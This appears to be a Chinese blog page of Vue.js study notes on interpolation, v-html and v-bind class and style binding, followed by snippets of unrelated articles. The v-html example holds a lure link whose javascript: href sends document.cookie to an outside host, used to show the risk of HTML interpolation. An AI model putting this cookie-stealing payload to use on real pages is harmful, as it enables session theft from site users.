当前位置： 首页 > news >正文

【前端】vue.js从入门到项目实战笔记

news 2025/9/16 7:31:25

文章目录

  • 第三章
    • 3.1 插值绑定（{{}}， v-html）
    • 3.1.1 文本插值
      • 3.1.2 HTML插值
    • 3.2 属性绑定 v-bind
      • 3.2.1 指令v-bind
      • 3.2.3 类名和样式绑定

【前端目录贴】

第三章

3.1 插值绑定（{{}}， v-html）

文本插值中的代码被解释为节点的文本内容，而HTML插值中的代码则被渲染为视图节点。

3.1.1 文本插值

文本插值的方式：用双大括号将要绑定的变量、值、表达式括住就可以实现，Vue将会获取计算后的值，并以文本的形式将其展示出来。

<div id="app"><h2>文本插值</h2><p><span class="profile">变量:</span> {{ num }}</p><p><span class="profile">表达式:</span> {{ 4 + 10 }}</p><p><span class="profile">三目运算符:</span> {{ true ? 15 : 10  }}</p><p><span class="profile">函数:</span> {{ getNum() }}</p><p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p><p><span class="profile">对象:</span> {{ {num: 15} }}</p><p><span class="profile">函数对象:</span> {{ getNum }}</p><p><span class="profile">html代码（表达式）:</span> {{ '<span>15</span>' }}</p><p><span class="profile">html代码（变量）:</span> {{ html }}</p>
</div>
<script>var vue=new Vue({el:"#app",data(){return {num:10,html:"<span>15</span>"};},methods:{getNum(){return this.num;}}});
</script>

结果：
在这里插入图片描述

3.1.2 HTML插值

<body><div id="demo"><div>{{blog}}</div><hr/><div v-html="blog">21312</div></div><script>new Vue({el:'#demo',data:{blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'}})</script>
</body>

在这里插入图片描述

3.2 属性绑定 v-bind

3.2.1 指令v-bind

DOM节点的属性基本都可以用指令v-bind进行绑定.

<!-- 准备好一个容器 -->
<div id="demo"><h1 v-bind:class="className">Hello，尚硅谷</h1>
<!--    简写形式--><a  :href="hrefName">百度</a>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。className: "italic",hrefName: "https://baidu.com"}})
</script>

3.2.3 类名和样式绑定

类名实际由数组拼接而成
样式有对象键值对拼接而成
(虽然都可以用其他方式表示)

  • 表达类名: 字符串, 数组, 对象

说明:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.
js中等价于false的表达: undefined ,null,0, 空字符串, [], {},-1, -0.1

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script><style>.color-gray{color: #b1191a;}.size-18{font-size: 18px;}.style-italic{font-style: italic;}</style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  class="color-gray size-18 style-italic">Hello，尚硅谷</h1><h1 v-bind:class="classStr">Hello，尚硅谷</h1><h1 v-bind:class="classArr">Hello，尚硅谷</h1><h1 v-bind:class="classObj1">Hello，尚硅谷</h1><h1 v-bind:class="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color-gray size-18 style-italic",//拼接字符串classArr: ['color-gray','size-18', 'style-italic'],//数组classObj1: {//对象,绑定类名'color-gray':true,'size-18':true,'style-italic':true},classObj2: {//对象,未绑定类名'color-gray':false,'size-18':false,'style-italic':false}}})
</script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述

  • 表达样式: 字符串, 对象 (不能用数组)
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  style="color: gray; size:18px; font-style: italic">Hello，尚硅谷</h1><h1 v-bind:style="classStr">Hello，尚硅谷</h1><h1 v-bind:style="classArr">Hello，尚硅谷</h1><h1 v-bind:style="classObj1">Hello，尚硅谷</h1><h1 v-bind:style="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color: gray; size:18px; font-style: italic",//拼接字符串classArr: ['color: gray','size:18px', 'font-style: italic'],//数组classObj1: {//对象,绑定类名'color':'gray','size':'18px','font-style':'italic'},classObj2: {//对象,未绑定类名'color':0?'gray':'','size':''?'18px':'','font-style':null?'italic':''}}})
</script>
</body>
</html>

在这里插入图片描述

相关文章：

【前端】vue.js从入门到项目实战笔记

文章目录 第三章3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09;3.1.1 文本插值3.1.2 HTML插值 3.2 属性绑定 v-bind3.2.1 指令v-bind3.2.3 类名和样式绑定 【前端目录贴】 第三章 3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09; 文本插值中的代…...

编程日记 2024/1/18 17:50:26

flex布局（3）

九、骰子 *{margin:0;padding: 0;box-sizing: border-box; } .flex{display: flex;flex-flow: row wrap;justify-content: space-between;align-items: center;align-content: space-between;padding:20px; } .touzi{width: 120px;height: 120px;background-color: aliceblue;…...

编程日记 2024/1/18 17:49:25

JVM知识总结

1.概述 JVM指的是Java虚拟机&#xff0c;本质上是一个运行在计算机上的程序&#xff0c;他的职责是运行Java字节码文件&#xff0c;作用是为了支持跨平台特性。 功能&#xff1a; 装载字节码&#xff0c;解释/编译为机器码 管理数据存储和垃圾回收 优化热点代码提升效率 …...

编程日记 2024/1/18 17:48:24

读书笔记-《数据结构与算法》-摘要8[桶排序]

桶排序和归并排序有那么点点类似&#xff0c;也使用了归并的思想。大致步骤如下&#xff1a; 设置一个定量的数组当作空桶。Divide - 从待排序数组中取出元素&#xff0c;将元素按照一定的规则塞进对应的桶子去。对每个非空桶进行排序&#xff0c;通常可在塞元素入桶时进行插入…...

编程日记 2024/1/18 17:47:23

【STM32调试】寄存器调试不良问题记录持续版

STM32寄存器调试不良问题记录 NVIC&#xff08;内嵌的中断向量控制器&#xff09;EXTI&#xff08;外部中断/事件&#xff09; 记录一些stm32调试过程中&#xff1a;不易被理解、存在使用误区、不清不楚、是坑、使用常识等方面的一些记录。本记录只包含stm32的内核以及外设等寄…...

编程日记 2024/1/18 17:43:17

centos7 arm服务器编译升级安装动态库libstdc++.so.6，解决GLIBC和CXXABI版本低的问题

前言 由于centos7内置的libstdc.so.6版本太低&#xff0c;导致安装第三方包的时候&#xff0c;会报“CXXABI_1.3.8”不存在等问题。 自带的打印如下&#xff1a; strings /usr/lib64/libstdc.so.6 | grep GLIBC strings /usr/lib64/libstdc.so.6 | grep CXXABI 如图 升级 注…...

编程日记 2024/1/18 17:41:15

自动驾驶轨迹规划之碰撞检测（三）

欢迎大家关注我的B站&#xff1a; 偷吃薯片的Zheng同学的个人空间-偷吃薯片的Zheng同学个人主页-哔哩哔哩视频 (bilibili.com) 目录 1.基于圆覆盖 2.BVH 3.MATLAB自动驾驶工具箱 4 ROS内置的模型 自动驾驶轨迹规划之碰撞检测&#xff08;一&#xff09;-CSDN博客 自动驾…...

编程日记 2024/1/18 17:39:14

如何用pandas处理财报数据删除金融行业数据

要删除财报数据中的金融行业数据&#xff0c;您可以按照以下步骤使用pandas进行处理&#xff1a; 导入pandas库&#xff1a; import pandas as pd读取财报数据文件&#xff1a; df pd.read_csv(财报数据.csv)查看数据中的行业分类列&#xff1a; print(df[行业分类])确定金…...

编程日记 2024/1/18 17:37:12

oracle 19c容器数据库data dump数据泵传输数据（4）---网络传输

Transporting a Database Over the Network: Example 这个的方式导入可以不需要传输dmp文件&#xff0c;我原本是想从11g导入到pdb2的&#xff0c;但是因为版本的原因&#xff0c;就直接实验从pdb1导入到pdb2吧。 这种方式和前面完全传输的方式类似&#xff0c;不需要事先在目…...

编程日记 2024/1/18 17:35:10

IP 网络分为接入网、城域网和骨干网

根据前述的IP 网络设计思想&#xff0c;结合算力网络对 正网络的需求分析&#xff0c;卫网络的具体实现可以从架构设计利网络技术两个方面进行总体设计。 首先从架构设计上考虑&#xff0c;架构应尽量简化&#xff0c;做到“以简应繁”。因此&#xff0c;整体网络架构不宜设计…...

编程日记 2024/1/18 17:31:04

web3.0基本概念简析

web3.0概念简析 web3.0的发展史 web1.0 仅用于展示&#xff0c;无法进行点赞评论等交互 web2.0 不仅可以展示&#xff0c;还可以上传视频、图片等&#xff0c;用户可以参与创作内容并获取收益。但还是中心化的模型 缺点 1 机械化的人机验证 2 账户安全无法保证 多年未登陆…...

编程日记 2024/1/18 17:24:58

Linux/Traceback

Enumeration nmap 使用nmap初步扫描发现只开放了22和80端口&#xff0c;端口详细扫描情况如下 先看看web是什么样子的&#xff0c;打开网站发现有一条留言&#xff0c;显示该站点已经被黑了&#xff0c; 并且留下了后门 查看源代码&#xff0c;可以看到下面的注释 <!--So…...

编程日记 2024/1/18 17:22:56

陶瓷碗口缺口检测-图像分割

图像分割 由于对碗口进行缺口检测&#xff0c;因此只需要碗口的边界信息。得到陶瓷碗区域填充后的图像&#xff0c;对图像进行边缘检测。这是属于图像分割中的内容&#xff0c;在图像的边缘中&#xff0c;可以利用导数算子对数字图像求差分&#xff0c;将边缘提取出来。 本案…...

编程日记 2024/1/18 17:20:54

2023年第十四届蓝桥杯软件赛省赛总评

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周。 在QQ群上交流答疑&am…...

编程日记 2024/1/18 17:19:53

Redis面试大全

1、什么是Redis? Redis是完全开源免费的&#xff0c;遵守BSD协议&#xff0c;是一个高性能的key-value数据库。 Redis与其他key-value缓存产品有以下三个特点&#xff1a; Redis支持数据的持久化&#xff0c;可以将内存中的数据保存在磁盘中&#xff0c;重启的时候可以再次…...

编程日记 2024/1/18 17:17:50

MFC为资源对话框添加消息处理函数和初始化控件

现在我VC6新建了一个对话框工程&#xff1b;又在资源添加了一个新的对话框&#xff0c;并为新的对话框添加了名为CTestDlg的类&#xff1b; 在主对话框的cpp文件包含#include "TestDlg.h"&#xff1b; 在主对话框的cpp文件的OnInitDialog()成员函数中&#xff0c;添…...

编程日记 2024/1/18 17:16:49

7.6 MySQL基本函数的使用(❤❤❤)

7.6 MySQL基本函数的使用 1. 提要2. 数字函数3. 字符函数3.1 替换字符3.2 左填充字符及截取字符串 4. 日期函数4.1 日期函数4.2 表达式占位符4.3 日期偏移计算4.4 日期间隔 5. 条件函数5.1 IF语句5.2 case...when语句 1. 提要 2. 数字函数 3. 字符函数 3.1 替换字符 -- INSERT…...

编程日记 2024/1/18 17:04:35

《Redis:NoSQL演进之路与Redis深度实践解析》

文章目录 关于NoSQL为什么引入NoSQL1、单机MySQL单机年代的数据库瓶颈 2、Memcached&#xff08;缓存&#xff09; MySQL 垂直拆分 &#xff08;读写分离&#xff09;3、分库分表水平拆分MySQL集群4、如今的网络架构5、总结 NoSQL的定义NoSQL的分类 Redis入门Redis能干嘛&…...

编程日记 2024/1/18 16:59:30

npm依赖库备份

常用命令 设置默认使用本地缓存安装Nodejs时会自动安装npm&#xff0c;但是局路径是C:\Users\Caffrey\AppData\Roaming\npm默认的缓存路径是C:\Users\Caffrey\AppData\Roaming\npm-cache&#xff1b;查看npm的prefix和cache路径配置信息设置路径 设置默认使用本地缓存 npm con…...

编程日记 2024/1/18 16:58:29

Python进程池multiprocessing.Pool

环境&#xff1a; 鲲鹏920:192核心 内存&#xff1a;756G python&#xff1a;3.9 python单进程的耗时 在做单纯的cpu计算的场景&#xff0c;使用单进程核多进程的耗时做如下测试&#xff1a; 单进程情况下cpu的占用了如下&#xff0c;占用一半的核心数&#xff1a; 每一步…...

编程日记 2024/1/18 16:54:24

大话软工笔记—需求分析概述

需求分析&#xff0c;就是要对需求调研收集到的资料信息逐个地进行拆分、研究&#xff0c;从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要&#xff0c;后续设计的依据主要来自于需求分析的成果&#xff0c;包括: 项目的目的…...

编程新知 2025/9/16 1:33:49

《Qt C++ 与 OpenCV：解锁视频播放程序设计的奥秘》

引言：探索视频播放程序设计之旅 在当今数字化时代，多媒体应用已渗透到我们生活的方方面面，从日常的视频娱乐到专业的视频监控、视频会议系统，视频播放程序作为多媒体应用的核心组成部分，扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上，用户都期望…...

编程新知 2025/9/9 10:11:47

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

编程新知 2025/9/6 15:45:27

解锁数据库简洁之道：FastAPI与SQLModel实战指南

在构建现代Web应用程序时&#xff0c;与数据库的交互无疑是核心环节。虽然传统的数据库操作方式&#xff08;如直接编写SQL语句与psycopg2交互&#xff09;赋予了我们精细的控制权&#xff0c;但在面对日益复杂的业务逻辑和快速迭代的需求时&#xff0c;这种方式的开发效率和可…...

编程新知 2025/8/13 16:42:24

学校招生小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码&#xff0c;专为学校招生场景量身打造&#xff0c;功能实用且操作便捷。 从技术架构来看&#xff0c;ThinkPHP提供稳定可靠的后台服务&#xff0c;FastAdmin加速开发流程&#xff0c;UniApp则保障小程序在多端有良好的兼…...

编程新知 2025/9/14 12:35:09

现代密码学 | 椭圆曲线密码学—附py代码

Elliptic Curve Cryptography 椭圆曲线密码学&#xff08;ECC&#xff09;是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础&#xff0c;例如椭圆曲线数字签…...

编程新知 2025/9/12 1:12:23

【HTML-16】深入理解HTML中的块元素与行内元素

HTML元素根据其显示特性可以分为两大类&#xff1a;块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...

编程新知 2025/8/10 8:29:19

Android Bitmap治理全解析：从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

编程新知 2025/9/9 23:27:37

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

编程新知 2025/9/9 10:09:41

【VLNs篇】07：NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

编程新知 2025/9/14 8:49:01